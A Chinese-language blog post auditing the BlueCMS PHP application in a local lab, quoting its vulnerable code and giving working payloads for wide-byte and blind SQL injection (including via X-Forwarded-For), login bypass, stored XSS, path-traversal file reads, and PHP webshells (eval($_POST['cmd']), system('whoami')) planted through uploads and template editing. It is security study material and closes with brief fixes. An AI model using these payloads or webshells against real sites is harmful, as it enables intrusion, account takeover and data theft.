代码审计

0x01原因

还是得从代码角度入手,学学看代码吧

php

1.bluecms

环境:phpstudy+bluecms

do_reg

注册表单部分

这里的显然的缺陷就是:

1.用户名可枚举

2.任意用户注册

可能的点:

1.二次注入,即在已有admin用户的情况下,注册admin’;去修改admin’的密码,并以admin的身份登录;不行

2.sql注入可以尝试一下,填充后,去会员中心,看看回显,

sql注入

这三段,分别去user、admin表查重用户名,再插入到user表中去

1
2
3
4
5
6
7
8
9
而且都是直接取的POST值
if($db->getone("SELECT * FROM ".table('user')." WHERE user_name='$user_name'")){
showmsg('该用户名已存在');
}
if($db->getone("SELECT * FROM ".table('admin')." WHERE admin_name='$user_name'")){
showmsg('该用户名已存在');
}
$sql = "INSERT INTO ".table('user')." (user_id, user_name, pwd, email, reg_time, last_login_time) VALUES ('', '$user_name', md5('$pwd'), '$email', '$timestamp', '$timestamp')";

首先看插入

它这里用的可是拼接,尝试在email中如下操作

1
2
3
123@123.com','12313','1231')";--+
email=123@123.com%df','12313','1231')";--+
email=(select database())

主要是看能否将后两个覆盖了,但实际上被写进email里了

最后考虑到insert into可以多语句插入,那么通过代码观察构造如下:

1
2
3
4
5
123@123.com%'  注册正常
123@123.com%df' 回显报错 而且暴露了整个语句
Error��Query error:INSERT INTO blue_user (user_id, user_name, pwd, email, reg_time, last_login_time) VALUES ('', '123123', md5('123123'), '123@qq.com�\'', '1712064010', '1712064010')
最终构造
123@123.com%df',12313,1231),('','yly',md5(123),(select database()),1,1)# 但是单引号被转义报错(\'\',\'yly\',
1
123@123.com%df',12313,1231),(100,0x796c79,md5(123),(select database()),1,1)#  

登录第二次插入账号,邮箱内容变成数据库格式

登入后插入的语句账号yly:123

这里其实也容易理解,这里有一个点就是:我直接抓包对email赋值 select database() ,这里会被POST当成字符串处理,而不是sql语句;而payload构造的时候,是一个VALUES语句,这个相当于直接对数据库进行操作

其中%df'的作用是insert into语句能够插入第二条语句的关键,否则那一整串都是email的值了

此外在注册的用户名检测处也有

1
2
#由于检查username存在与否
$db->getone("SELECT * FROM ".table('user')." WHERE user_name='$user_name'")

直接在注册页面输入,前端可以改长度

1
2
3
4
username=232323' 可用
添加注释符号
username=232323'# 不再报错,会额外出一个新表单
232323' order by 8#但是不能用联合注入,因为没有回显的地方

在navicat尝试如下操作

1
2
3
4
5
6
7
SELECT
blue_user.user_name
FROM
blue_user
where blue_user.user_name='admin2' or updatexml(1,concat(0x7e,(select database()),0x7e),1) #'

#报错回显[Err] 1105 - XPATH syntax error: '~bluecms~'

但是目前的话不行的

注册时存在

存储型xss

这编辑个人信息的代码

1
2
$sql = "UPDATE ".table('user')." SET birthday = '$birthday', sex = '$sex', face_pic = '$face_pic', email = '$email', msn = '$msn', qq = '$qq'," ." mobile_phone = '$mobile_phone', office_phone ='$office_phone', home_phone = '$home_phone', address='$address' WHERE user_id = ".intval($_SESSION['user_id']);
$db->query($sql);

看看最终显示的代码是:

所以可以去邮箱(只进行了格式校验且未对特殊字符处理)进行xss构造

1
2
3
4
5
6
7
8
9
<tr height=20>
<td style="text-align:right;width:130px;color:#07519A;">邮箱:</td>
<td><?php echo $this->_tpl_vars['user']['email']; ?>

但是address插入xss失败,被转义,是因为在myinfo中的html*函数

$address = !empty($_POST['address']) ? htmlspecialchars($_POST['address']) : '';

其他的字段比如qq字段这些也可以xss,只不过加入了字符限制,所以要构造短一点

commont.php

sql注入-xff字段(盲注)

发表评论就没注入点,尽管白盒审计是一个insert into,但是

1
2
3
mood=6&comment=123123&id=1&type=1&submit=%CC%E1%BD%BB%C6%C0%C2%DB
comment用了htmlspecials
其它字段都用了intval取数字

仔细看她的其中一个字段,getip()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) 
VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";


function getip()
{
if (getenv('HTTP_CLIENT_IP'))
{
$ip = getenv('HTTP_CLIENT_IP');
}
elseif (getenv('HTTP_X_FORWARDED_FOR'))
{ //获取客户端用代理服务器访问时的真实ip 地址
$ip = getenv('HTTP_X_FORWARDED_FOR');
}
elseif (getenv('HTTP_X_FORWARDED'))
{
$ip = getenv('HTTP_X_FORWARDED');
}
elseif (getenv('HTTP_FORWARDED_FOR'))
{
$ip = getenv('HTTP_FORWARDED_FOR');
}
elseif (getenv('HTTP_FORWARDED'))
{
$ip = getenv('HTTP_FORWARDED');
}
else
{
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}

评论时抓包,插入**X-Forwarded-For: 1’**,出现报错

1
2
3
4
5
Error��Query error:INSERT INTO blue_comment (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) 
VALUES ('', '1', '2', '1', '6', '123213', '1712069356', '1'', '1')

X-Forwarded-For: 3' and sleep(5) and '1'='1 时间盲注即可
if(ascii(substr(database(),1,1)=98),sleep(5),1),'1') 也可以

新闻页面

/bluecms-master/news.php?id=1

1
2
3
4
5
6
#对于url参数
$id = !empty($_REQUEST['id']) ? intval($_REQUEST['id']) : '';
#intval函数杜绝了符号

#对于发布评论
$content = !empty($_POST['comment']) ? htmlspecialchars($_POST['comment']) : '';

文件上传?

有后缀检测、MIME检测,用户头像一栏其实是给的路径

1
2
3
4
5
6
7
8
Content-Disposition: form-data; name="face_pic2"; filename="get.php%00.jpg"
Content-Type: image/jpeg

<?php

@eval($_POST['cmd']);

?>

上传完成后,名字被强制成*.jpg格式;这里先略过

index_login

不存在万能用户、万能密码这种

万能密码

1
2
3
4
5
6
7
8
9
10
$user_name = !empty($_REQUEST['user_name']) ? trim($_REQUEST['user_name']) : '';
$pwd = !empty($_REQUEST['pwd']) ? trim($_REQUEST['pwd']) : '';
$remember = isset($_REQUEST['remember']) ? intval($_REQUEST['remember']) : 0;

$w = login($user_name, $pwd);#下面是login函数内容
$sql = "SELECT COUNT(*) AS num FROM ".table('user')." WHERE user_name='$user_name' and pwd=md5('$pwd')";
$user_num = $db->getone($sql);
if($user_num['num']){
$result = 1;
}else $result = -1;

由于test’可以登入,选择username=test%df'报错

1
user_name=test%df' or 1=1#   注意一定要空格,提示不能从前台登录,那就不要用管理员身份了

user_name='test' and pwd=md5('test�\'or1=1#')

1
2
user_name=test&pwd=test%df' or 1=1#     报错,pwd=md5('test�\' or 1=1#')
user_name=test&pwd=test%df')or 1=1# 登入成功

万能密码

普通用户错误密码登录是模糊消息提示

但是admin登录,不管密码对错,暴露了admin账户存在的事实

ad_js.php?ad_id=1

sql注入

1
2
3
4
5
6
7
8
9
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';#可以是任何值
...
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id); #这种可以看做是纯数字
...
#这下面是对特殊符号做了替换
$ad_content = str_replace('"', '\"',$ad_content);
$ad_content = str_replace("\r", "\\r",$ad_content);
$ad_content = str_replace("\n", "\\n",$ad_content);
echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n";

如果正确的话,会在f12中回显东西,我事先添加了两行数据

数字型注入存在证明

1
2
3
4
5
6
7
8
1 and true/false
id=2 / id=2-1 #回显内容不同
1%20and%201=2#
1^0回显,1^1不回显
1 and sleep(5)
-1%20or%20sleep(5)

剩下的就是order by,还有union select即可

反射型xss也是可以的

/admin/login.php?act=login,这是管理员后台地址

user.php?act=pay

文件包含

1
2
3
4
5
6
7
8
9
10
elseif ($act == 'pay'){
include 'data/pay.cache.php';
$price = $_POST['price'];
$id = $_POST['id'];
$name = $_POST['name'];
if (empty($_POST['pay'])) {
showmsg('对不起,您没有选择支付方式');
}
include 'include/payment/'.$_POST['pay']."/index.php";
}

这个文件包含我没触发成功嘞,说是可以配合图片马拿shell的

admin

后台管理,万能用户 admin%df' or 1=1#

文件包含

1
2
3
4
5
6
7
8
9
10
11
12
elseif($act == 'edit'){
$file = $_GET['tpl_name'];
if(!$handle = @fopen(BLUE_ROOT.'templates/default/'.$file, 'rb')){
showmsg('打开目标模板文件失败');
}
$tpl['content'] = fread($handle, filesize(BLUE_ROOT.'templates/default/'.$file));
$tpl['content'] = htmlentities($tpl['content'], ENT_QUOTES, GB2312);
fclose($handle);
$tpl['name'] = $file;
template_assign(array('current_act', 'tpl'), array('编辑模板', $tpl));
$smarty->display('tpl_info.htm');
}
1
2
3
4
GET /bluecms-master/admin/tpl_manage.php?act=edit&tpl_name=../../robots.txt

GET /bluecms-master/admin/tpl_manage.php?act=edit&tpl_name=../../ann.php
可以任意读取文件

但是这个是进入的编辑页面

插入 <?php @eval($_REQUEST['cmd']);?>

蚁剑连接失败,裂开

那么直接输出指定命令也是可以的

1
2
3
4
<?php 
system("whoami");
system("dir");
?>

总结

安装及审计参考 http://t.csdnimg.cn/8RDMV

目录索引开启 https://zhuanlan.zhihu.com/p/435493999

总的来讲,sql注入多半来自于对参数处理的少,直接拼接

解决方案:预处理,预编译,不提示sql语句错误信息

xss处理,字符处理、单纯转义需要考虑前端和数据库编码是否一致

参考:

https://www.extrader.top/posts/b7c1e15e/

1.前端不报错,bp抓包报错

是因为前端输入时,会进行url编码 user_name=tset%25df%27--%2B

也可以理解为sql语句不接受url编码,所以test%df’–+会报错,而前者不报错的原因

2.此外,在navicat中

1
insert into blue_user(user_id, user_name, pwd, email, reg_time, last_login_time) VALUES (100,'yly123',md5(123456),'123@123.com',1,1)

会提示各种其它字段没有默认值,但是在前端提交可以强制存储,不清楚

3.关于宽字节探测,要么黑盒,要么白盒,在data/config.php可以明显看出采用了

define('BLUE_CHARSET','gb2312');

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2023-2025 是羽泪云诶
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信